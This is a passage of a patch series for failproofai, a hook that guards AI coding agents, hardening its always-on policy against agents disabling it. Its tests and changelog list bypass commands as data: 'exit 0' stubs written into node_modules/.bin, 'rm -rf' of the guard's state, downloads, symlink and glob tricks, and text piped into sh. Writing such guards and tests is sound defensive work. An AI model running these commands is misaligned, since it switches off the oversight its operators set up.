[...targets]; +} + +/** The builtins that print their arguments and run none of them. */ +const PRINT_COMMANDS = new Set(["echo", "printf"]); + +/** + * `command` with each `>` and `<` blanked where it is quoted text that `echo` + * or `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` + * documents a command rather than running one (found by hermes on + * FailproofAI/failproofai#1058). The walk reads redirects from the text, + * quotes and all, because a quoted program handed to `bash -c` or piped into + * `sh` really does redirect, and the unescaped pass drops the quotes, so both + * read that `>` as a redirect. Blanked only where nothing on the line can run + * the text: a pipeline that is one `echo` or `printf` (not `printf -v`, which + * stores it), with no redirect of its own, on a line with no subshell, group, + * substitution, `$'…'` or heredoc. Otherwise `command` comes back unchanged. + */ +function blankPrintedRedirects(command: string): string { + if (!/['"]/.test(command) || !/[<>]/.test(command)) return command; + const quotedAt = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; piped: boolean }> = []; + let quote: string | null = null; + let start = 0; + let pipedIn = false; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote === "'") { + if (ch === "'") quote = null; + else quotedAt[i] = 1; + continue; + } + if (quote === '"') { + if (ch === '"') { + quote = null; + continue; + } + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) return command; + quotedAt[i] = 1; + if (ch === "\\" && i + 1 < command.length) quotedAt[++i] = 1; + continue; + } + if (ch === "\\") { + i++; + continue; + } + if (ch === "'" || ch === '"') { + if (command[i - 1] === "$") return command; + quote = ch; + continue; + } + if ("`(){}".includes(ch) || (ch === "<" && command[i + 1] === "<")) return command; + if ("|;&\n\r".includes(ch)) { + let j = i; + while (j < command.length && "|;&\n\r".includes(command[j])) j++; + const pipe = command.slice(i, j) === "|" || command.slice(i, j) === "|&"; + pieces.push({ start, end: i, piped: pipedIn || pipe }); + pipedIn = pipe; + start = j; + i = j - 1; + } + } + // An unterminated quote is a line the shell refuses: left as it is. + if (quote !== null) return command; + pieces.push({ start, end: command.length, piped: pipedIn }); + const out = command.split(""); + for (const { start: from, end: to, piped } of pieces) { + if (piped) continue; + const words = shellWords(command.slice(from, to)); + if (words.length === 0 || !PRINT_COMMANDS.has(words[0].raw)) continue; + if (words[0].raw === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let redirected = false; + for (let k = from; k < to && !redirected; k++) redirected = (command[k] === ">" || command[k] === "<") && !quotedAt[k]; + if (redirected) continue; + for (let k = from; k < to; k++) if (quotedAt[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; + } + return out.join(""); +} + /** * The one policy that cannot be turned off — see `alwaysOn` on its definition. * @@ -3672,22 +4032,32 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { - const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - // The path as given AND the file it lands on. The bin entry a user-scope - // hook runs is usually a symlink into the package, so writing through it - // changes the hook's code without the package's path ever being named. - const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); - if (kind === "code") { - return deny( - "Writing to failproofai's installed code would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); - } - if (kind === "state") { - return deny( - "Writing to failproofai's own state would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); + // The path the tool names, and every file a patch it carries names. + const paths = [getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""), ...patchTargets(ctx.toolInput)]; + // A patch's relative paths are read from the session's directory, and + // from the one the call names when it names one. + const toolCwd = ctx.toolInput?.workdir ?? ctx.toolInput?.cwd; + const cwds = [ctx.session?.cwd, ...(typeof toolCwd === "string" && toolCwd !== "" ? [toolCwd] : [])]; + for (const path of paths) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = + failproofaiFileKind(path) ?? + cwds.map((cwd) => failproofaiFileKind(resolveWriteTarget(path, cwd))).find((found) => found !== null) ?? + null; + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { + return deny( + "Writing to failproofai's own state would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } } return allow(); } @@ -3722,9 +4092,14 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; // The walk must not throw: a policy that throws is skipped by the evaluator, // and for this one that is an allow. So a throw is a deny, said as one. + // Quoted text an `echo` or `printf` only prints is read as text, in both + // passes (see `blankPrintedRedirects`). + const walked = blankPrintedRedirects(cmd); let destroys: boolean; try { - destroys = destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd); + destroys = + destroysFailproofaiState(walked, 0, shellCwd) || + destroysFailproofaiState(walked === cmd ? unescaped : stripShellQuoting(walked), 0, shellCwd); } catch (err) { return deny( "failproofai could not read this command to check it against its own files, so it is refused. " + From 358bacda45a9776cbd1c4f058501772be7187399 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Wed, 25 Nov 2026 00:49:30 +0530 Subject: [PATCH 44/60] [hooks] Close hermes's second round: Codex workdir, cd -P, linked globs, printed text MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit hermes's review of 34c2eb8d (FailproofAI/failproofai#1058): - Codex's execution directory. Codex runs a shell command in the workdir its tool names, and its hook payload carries the session's directory and the command only, so `printf … > failproofai` run in node_modules/.bin arrived as a write in the project root. A reported workdir (or cwd) is now where the walk starts. Without one, a Codex line may run anywhere: a relative destination that would plant the entry, or the package, there is refused (redirects, output flags separate or glued, tee, dd of=, copies, moves, links and downloads that land in it), and nothing else is read differently: no decision changes on the 12,224 test strings under Codex. - Physical moves. `cd -P` (and any cd after `set -P` / `set -o physical`) now stands where the path really is, each link followed before its `..`; `cd -P deep/..` with deep a link into .bin stands in .bin. - Globs through links. A glob is matched where its literal directories really are, and from the shell's own directory resolved the same way: `cp x bins/fail*` and `cd bins && cp x fail*`, with bins a link to node_modules/.bin, are refused. - Printed text. Beyond a lone echo or printf, escaped `\>` and `$'…'` text, output to another descriptor or /dev/null, pipes into text readers (cat, grep, head, wc, …) and a subshell elsewhere on the line now leave the text as text. Compound commands, function or alias definitions, `exec`, heredocs and process substitution still keep it read as code. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- .../e2e/hooks/codex-integration.e2e.test.ts | 38 +++ __tests__/hooks/guard-npx-local-bin.test.ts | 117 +++++++ src/hooks/builtin-policies.ts | 314 +++++++++++++++--- 4 files changed, 416 insertions(+), 55 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 08d3b0bd1..2ba558542 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,7 +18,7 @@ - Harden the privileged service install. Every file failproofai writes as root (the systemd unit, the launchd plist, Codex's system config and the daemon's copy under `/opt`) now reaches root as bytes on stdin and is checked against its SHA-256 before it is put in place; the daemon's copy is also held to the digest the build recorded, and a daemon binary that is a symbolic link is refused. `sudo` and every program it runs are named by absolute path from `/usr/bin`, `/bin`, `/usr/sbin` and `/sbin` and start with a minimal environment, the credential prompt included. The commands printed when sudo is not available do the same, run as printed, and on macOS carry the plist itself (#1060) - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) -- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed), through a symlink (one the same line makes is resolved as the kernel resolves it), through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included) and every file a patch names (Codex's native `apply_patch` carries no `file_path`), and through shell commands that write it, copy, move, link or download a file of that name (`scp`, `wget`, `curl -O` included), name it as a value glued to an option (`curl -so`), or put a whole directory into npm's `.bin`, including after a `cd` (or one that may have failed, or a `cd -P` through a link), through a symlink (one the same line makes is resolved as the kernel resolves it, and a glob is matched where its directories really are), through a variable the same line sets, or behind a trailing redirect. A Codex command, which may run in a `workdir` its hook does not report, is refused when a relative destination would plant the entry. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same fixes close five ways around the state guard: a native patch naming it, a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`), and an output file glued to curl's option (`curl -so~/.failproofai/policies-config.json `); and quoted text that `echo` or `printf` only prints (`echo 'cat > ~/.failproofai/policies-config.json'`) is no longer read as a redirect. npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ### Docs diff --git a/__tests__/e2e/hooks/codex-integration.e2e.test.ts b/__tests__/e2e/hooks/codex-integration.e2e.test.ts index b7f77fa99..792a3a5ef 100644 --- a/__tests__/e2e/hooks/codex-integration.e2e.test.ts +++ b/__tests__/e2e/hooks/codex-integration.e2e.test.ts @@ -195,6 +195,44 @@ describe("E2E: Codex integration — native apply_patch", () => { } }); + // Codex's shell tool runs a command in its `workdir`, but the hook payload + // carries the session's directory and the command only (found by hermes on + // FailproofAI/failproofai#1058). A native write that plants the entry if it + // runs in node_modules/.bin is refused from the project's root; with the + // workdir reported, it is read from there. + it("PreToolUse: a native shell write that may run in node_modules/.bin is denied", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + mkdirSync(resolve(env.cwd, "node_modules", ".bin"), { recursive: true }); + const result = runHook( + "PreToolUse", + CodexPayloads.preToolUse.bash("printf '#!/bin/sh\\nexit 0\\n' > failproofai", env.cwd), + { homeDir: env.home, cli: "codex" }, + ); + assertPreToolUseDeny(result); + } finally { + env.cleanup(); + } + }); + + it("PreToolUse: a native shell write is read from the workdir the call reports", () => { + const env = createCodexEnv(); + try { + writeConfig(env.cwd, []); + const withWorkdir = (workdir: string) => ({ + ...CodexPayloads.preToolUse.bash("printf x > failproofai", env.cwd), + tool_input: { command: "printf x > failproofai", workdir }, + }); + assertPreToolUseDeny( + runHook("PreToolUse", withWorkdir(resolve(env.cwd, "node_modules", ".bin")), { homeDir: env.home, cli: "codex" }), + ); + assertAllow(runHook("PreToolUse", withWorkdir(resolve(env.cwd, "src")), { homeDir: env.home, cli: "codex" })); + } finally { + env.cleanup(); + } + }); + it("PreToolUse: a native patch to project files is allowed", () => { const env = createCodexEnv(); try { diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 055a845d4..9c5c7fa8e 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -42,6 +42,10 @@ const write = async (file_path: string, cwd?: string) => }), ); +/** A command as the named agent CLI sends it, from the project's directory. */ +const bashAs = async (cli: PolicyContext["cli"], toolInput: Record) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput, cli, session: { cwd: "/work/proj" } }))).decision; + /** An `Edit` carrying a patch the way Codex's `apply_patch` does. */ const patch = async (toolInput: Record, cwd = "/work/proj") => (await policy.fn(makeCtx({ toolName: "Edit", toolInput, session: { cwd } }))).decision; @@ -295,6 +299,49 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bashIn(join(root, "proj"), command.replaceAll("ROOT", join(root, "proj")))).toBe("deny"); }); + // `cd -P` (or any `cd` after `set -P`) stands where the path really is, + // each link followed before its `..` (found by hermes on + // FailproofAI/failproofai#1058); a logical `cd` takes `..` as text, as + // bash does, and the kernel still follows links in what is written after. + it.each([ + "cd -P tools/deep/.. && printf x > failproofai", + "cd -LP tools/deep/.. && printf x > failproofai", + "set -P; cd tools/deep/.. && printf x > failproofai", + "set -o physical; cd tools/deep/.. && printf x > failproofai", + "cd -P tools/deep && cd .. && printf x > failproofai", + "cd tools/deep && printf x > ../failproofai", + ])("denies a write after a physical move through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each([ + "cd tools/deep/.. && printf x > failproofai", + "cd -L tools/deep/.. && printf x > failproofai", + "set -P; set +P; cd tools/deep/.. && printf x > failproofai", + ])("still allows a write after a logical move: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }); + + // A glob expands where its literal directories really are (found by + // hermes on FailproofAI/failproofai#1058). + it.each([ + "cp /tmp/stub.sh tools/bins/fail*", + "cp /tmp/stub.sh tools/bins/failpro?fai", + "cp /tmp/stub.sh tools/bins/[f]ailproofai", + "printf x > tools/bins/fail*", + "cd tools/bins && cp /tmp/stub.sh fail*", + "cp /tmp/stub.sh tools/deep/../fail*", + ])("denies a glob that expands onto the entry through a link: %s", async (command) => { + expect(await bashIn(join(root, "proj"), command)).toBe("deny"); + }); + + it.each(["ls tools/bins/*", "cat tools/bins/fail*", "cp /tmp/stub.sh tools/bins/my-*", "rm -rf tools/bins/*"])( + "still allows a glob through a link that is no write of the entry: %s", + async (command) => { + expect(await bashIn(join(root, "proj"), command)).not.toBe("deny"); + }, + ); + it.each([ "ln -s node_modules/.bin/sub d; printf x > d/../notes.txt", "ln -s /tmp/x y; echo hi > y", @@ -665,6 +712,16 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs 'echo "cat > node_modules/.bin/failproofai"', "echo 'cat > ~/.failproofai/policies-config.json'", "echo 'never run: cat > node_modules/.bin/failproofai' && npm test", + // Escaped and ANSI-C quoted, to another descriptor or nowhere, through + // readers that only show it, and beside a subshell that is not around it. + "echo cat \\> node_modules/.bin/failproofai", + "echo $'cat > node_modules/.bin/failproofai\\n'", + "echo 'cat > node_modules/.bin/failproofai' >&2", + "echo 'cat > node_modules/.bin/failproofai' > /dev/null", + "echo 'cat > node_modules/.bin/failproofai' | cat", + "printf '%s\\n' 'cat > node_modules/.bin/failproofai' | grep cat | wc -l", + "(cd src && ls); echo 'cat > node_modules/.bin/failproofai'", + "echo 'cat > node_modules/.bin/failproofai'; echo done", ])("allows printing a command as text: %s", async (command) => { expect(await bash(command)).toBe("allow"); }); @@ -681,10 +738,70 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", "echo 'exit 0' > node_modules/.bin/failproofai", 'echo x >node_modules/.bin/fail"proof"ai', + // A reader that keeps it, a loop or condition piped into a shell, an + // `echo` the line redefines, the shell's own output sent to one, and a + // substitution, which runs. + "echo 'printf x > node_modules/.bin/failproofai' | grep x | sh", + "echo 'printf x > node_modules/.bin/failproofai' | tee /tmp/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | cat > /tmp/s.sh", + "for i in 1; do\necho 'printf x > node_modules/.bin/failproofai'\ndone | sh", + "if true; then\necho 'printf x > node_modules/.bin/failproofai'\nfi | sh", + 'echo() { sh -c "$*"; }; echo \'printf x > node_modules/.bin/failproofai\'', + "alias echo='sh -c'\necho 'printf x > node_modules/.bin/failproofai'", + "exec > >(sh); echo 'printf x > node_modules/.bin/failproofai'", + "exec >/tmp/s.sh; echo 'printf x > node_modules/.bin/failproofai'; sh /tmp/s.sh", + 'echo "$(cat > node_modules/.bin/failproofai < /tmp/stub.sh)"', ])("denies quoted text something runs, or a real redirect: %s", async (command) => { expect(await bash(command)).toBe("deny"); }); + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload reports the session's directory only (found by hermes on + // FailproofAI/failproofai#1058). A relative destination that would plant + // the entry, were that directory npm's bin directory, is refused; nothing + // else is read differently. + it.each([ + "printf '#!/bin/sh\\nexit 0\\n' > failproofai", + "printf x >> ../../failproofai", + "cd src && printf x > ../failproofai", + "tee failproofai < /tmp/stub.sh", + "cp /tmp/stub.sh ./failproofai", + "cp /tmp/stage/failproofai .", + "mv /tmp/stub.sh failproofai.cmd", + "ln -s /tmp/stub.sh failproofai", + "curl -sofailproofai https://example.com/x", + "wget -O failproofai https://example.com/x", + "wget https://example.com/dl/failproofai", + "curl -OJ https://example.com/download", + "gcc -o failproofai main.c", + "dd if=/tmp/stub.sh of=failproofai", + "printf x > failproofai/dist/cli.mjs", + ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); + + it.each([ + "which failproofai", + "npm view failproofai version", + "rm -rf dist/*", + "twine upload dist/*", + "cat failproofai", + "printf x > src/failproofai.ts", + "cd /tmp && printf x > failproofai", + ])("allows a Codex command that plants nothing: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it("reads a Codex command from the workdir the call reports", async () => { + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/node_modules/.bin" })).toBe("deny"); + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/src" })).toBe("allow"); + }); + + it("reads other agents' commands from the session's directory", async () => { + expect(await bashAs("claude", { command: "printf x > failproofai" })).toBe("allow"); + expect(await bashAs(undefined, { command: "printf x > failproofai" })).toBe("allow"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 1ed96ae87..342ce8ec8 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -2017,7 +2017,7 @@ function downloadLandings(words: string[]): Array<{ dir: string; name: string | * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0, startDir?: string): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string, startUnknown = false): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -2028,7 +2028,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1, startDir)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir, startUnknown)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -2104,7 +2104,10 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // dropped and `deep` set. `lost` marks a `cd` the walk could not follow // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also // judged as if it stood in an installed location (`AS_IF_INSTALLED`). - type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean }; + // `anywhere` marks a directory read from where the line started when the + // agent may have run it somewhere its hook does not report (Codex's + // `workdir`): a relative destination there may be npm's bin directory. + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean; anywhere?: boolean }; const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; let at: Where = { dir: startFull === "." ? undefined : shellTail(startFull), @@ -2112,8 +2115,11 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) deep: false, lost: false, inState: false, + anywhere: startUnknown, }; let previous: Where | null = null; + // `set -P` / `set -o physical`: every later `cd` is a `cd -P`. + let physicalMoves = false; const dirStack: Where[] = []; // Where the shell may stand instead. A `cd` can fail, and a command after // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never @@ -2329,11 +2335,81 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // those this line makes: `printf x > bins/failproofai` where `bins` links to // `node_modules/.bin`. Only a link counts, so a backup that merely carries a // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + // A glob expands where its literal directories really are: `cp x bins/fail*` + // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory + // reached through one, both expand onto the entry (found by hermes on + // FailproofAI/failproofai#1058). So the directories before the first pattern + // are resolved, and the pattern is read from there. + const globLandsOnState = (written: string): boolean => { + const parts = written.split("/"); + const first = parts.findIndex((part) => GLOB_METACHAR_RE.test(part)); + if (first === -1) return false; + const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; + const pattern = parts.slice(first).join("/"); + if (/[$`]/.test(prefix)) return false; + return [at, ...alts].some((base) => { + const raw = + prefix === "" + ? !base.lost && base.full?.startsWith("/") + ? base.full + : undefined + : absoluteFrom(base, prefix)?.raw; + if (raw === undefined) return false; + const real = realPath(raw); + if (real === ELOOP) return true; + if (typeof real !== "string") return lostNamesState({ via: real.via, lost: real.lost === "" ? pattern : `${real.lost}/${pattern}` }); + return real !== shellPath(undefined, raw) && namesState(`${real === "/" ? "" : real}/${pattern}`); + }); + }; const landsOnState = (written: string): boolean => realPathsOf(written).some(({ plain, real }) => real === ELOOP ? true : typeof real !== "string" ? lostNamesState(real) : real !== plain && namesState(real), - ); + ) || + (GLOB_METACHAR_RE.test(written) && globLandsOnState(written)); const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text) || landsOnState(text); + // From a directory the agent may have run the line in without saying so + // (`anywhere`), a relative destination that would be the entry, or the + // package, if that directory were npm's bin directory or a `node_modules`: + // `printf … > failproofai`, `../failproofai`, `failproofai/dist/cli.mjs`. + const anywhereHere = (): boolean => at.anywhere === true || alts.some((base) => base.anywhere === true); + const plantsAnywhere = (written: string): boolean => { + if (!relativeWord(written) || /[$`]/.test(written)) return false; + const path = written.replace(/[\\/]+$/, ""); + const slash = Math.max(path.lastIndexOf("/"), path.lastIndexOf("\\")); + return ( + AS_IF_INSTALLED.some((dir) => FAILPROOFAI_CODE_PATH_RE.test(dir + path)) || + (couldBeEntryName(path.slice(slash + 1)) && /^(?:\.\.?[\\/]+)*$/.test(path.slice(0, slash + 1))) + ); + }; + // What a simple command writes that its options or operands name, read from + // such a directory: an output flag's value, separate or glued (`curl -o`, + // `wget -O`, `gcc -o`, `--output=`), every operand of a command that writes + // them all (`tee`), the last of one that writes its second (`uniq`), and + // `dd of=`. Copies, moves, links and downloads are judged where they land. + const writesEntryAnywhere = (list: string[]): boolean => { + if (list.length === 0) return false; + const head = commandBasename(list[0]); + const args = list.slice(1); + const operands = args.filter((arg) => !arg.startsWith("-")); + if (OPERAND_WRITE_COMMANDS.has(head) && operands.some(plantsAnywhere)) return true; + if (SECOND_OPERAND_WRITERS.has(head) && operands.length > 1 && plantsAnywhere(operands[operands.length - 1])) return true; + if (head === "dd" && args.some((arg) => arg.startsWith("of=") && plantsAnywhere(arg.slice(3)))) return true; + return args.some((arg, i) => { + const long = /^--(?:output|out)[\w-]*(=)?/.exec(arg); + if (long) return plantsAnywhere(long[1] ? arg.slice(arg.indexOf("=") + 1) : (args[i + 1] ?? "")); + if (!/^-[A-Za-z]/.test(arg)) return false; + if (/^-[A-Za-z]*[oO]$/.test(arg)) return plantsAnywhere(args[i + 1] ?? ""); + // Glued on after an `o` or `O`; read as getopt reads it where the + // command's value letters are known. + const known = SHORT_VALUE_OPTIONS[head]; + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (c > MAX_OPTION_CLUSTER) return /failproof/i.test(arg); + if ((arg[c] === "o" || arg[c] === "O") && plantsAnywhere(arg.slice(c + 1))) return true; + if (known?.includes(arg[c])) return false; + } + return false; + }); + }; // `namesHere` for a value glued to an option, of which a long command line // has one per letter of its option words. Every protected name spells // `failproof`, so a value that spells none, climbs nowhere and expands to @@ -2396,7 +2472,12 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const expandEverywhere = (word: string): string[] => NAMES_PWD_RE.test(word) ? alts.map((alt) => expandAt(word, alt)) : []; // `named` is the operand as written, judged when the walk cannot follow it. - const whereAfter = (base: Where, target: string, named: string): Where => { + // A `physical` move (`cd -P`, or any `cd` after `set -P`) goes where the path + // really is, each link followed and each `..` taken after it: with `deep` a + // link to `node_modules/.bin/sub`, `cd -P deep/..` stands in `.bin`, which + // collapsing `..` as text read as the directory it started from (found by + // hermes on FailproofAI/failproofai#1058). + const whereAfter = (base: Where, target: string, named: string, physical = false): Where => { if (/\$|`/.test(target)) return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; const relative = relativeWord(target); if (relative && base.lost) { @@ -2412,6 +2493,22 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) : base.full !== undefined ? shellPath(base.full === "." ? undefined : base.full, target) || "." : undefined; + if (physical) { + const raw = !relative + ? target.startsWith("/") + ? target + : homeBased + ? homedir() + target.slice(1) + : undefined + : base.full?.startsWith("/") + ? `${base.full}/${target}` + : undefined; + if (raw !== undefined) { + const real = realPath(raw); + if (typeof real !== "string") return { dir: undefined, full: undefined, deep: false, lost: true, inState: namesState(named) }; + full = real; + } + } // `~user` and a `cd` from a directory too deep to keep are read from `dir`. const fromDir = shellPath(relative ? base.dir : undefined, target); let deep = relative && base.deep; @@ -2429,7 +2526,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) (relative && !climbs ? base.inState : full !== undefined && (!relative || base.inState) && FAILPROOFAI_STATE_PATH_RE.test(full)); - return { dir: kept, full, deep, lost: false, inState }; + return { dir: kept, full, deep, lost: false, inState, anywhere: relative && base.anywhere }; }; // Moves the shell to `to`, and anywhere else it may stand to `others`. If // the move fails, it stays wherever it was, which `pending` keeps — unless @@ -2453,6 +2550,17 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) const moveShell = (head: string, args: string[], expandedArgs: string[]) => { const stackOnly = head !== "cd" && args.includes("-n"); const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + // `cd -P` and `-L`, the last one given winning; `pushd` follows `set -P`. + let physical = physicalMoves; + if (head === "cd") { + for (const option of args.slice(0, k === -1 ? args.length : k)) { + if (!/^-[A-Za-z@]+$/.test(option)) continue; + for (const flag of option.slice(1)) { + if (flag === "P") physical = true; + else if (flag === "L") physical = false; + } + } + } const named = k === -1 ? undefined : args[k]; const operand = k === -1 ? undefined : expandedArgs[k]; if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { @@ -2487,13 +2595,13 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) } if (operand === "-") { const oldpwd = values.get("OLDPWD"); - if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd)); + if (oldpwd !== undefined) moveTo(whereAfter(at, expand(oldpwd), oldpwd, physical)); else if (previous) moveTo(previous, [], true); return; } if (operand === "") return; const target = operand ?? expand("$HOME"); - const to = whereAfter(at, target, named ?? target); + const to = whereAfter(at, target, named ?? target, physical); if (stackOnly) { dirStack.push(to); return; @@ -2502,7 +2610,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // Wherever else the shell may stand moves too, the same way. moveTo( to, - alts.map((where) => whereAfter(where, target, named ?? target)), + alts.map((where) => whereAfter(where, target, named ?? target, physical)), startFull.startsWith("/") && to.full === startFull, ); }; @@ -2658,6 +2766,7 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { const written = target.replace(/^["']|["']$/g, ""); if (namesHere(written) || namesHere(expand(written)) || expandEverywhere(written).some(namesHere)) return true; + if (anywhereHere() && (plantsAnywhere(written) || plantsAnywhere(expand(written)))) return true; } for (const simple of simpleCommands) { @@ -2686,18 +2795,22 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) lists.some( (list) => landsInDirectoryAs(list, namesState, (word) => fromBase(base, word), base.lost, landsOnState, isBinDir) || + // From a directory the agent may have run the line in without + // saying, a copy is also read as written, from somewhere unknown. + (base.anywhere === true && landsInDirectoryAs(list, 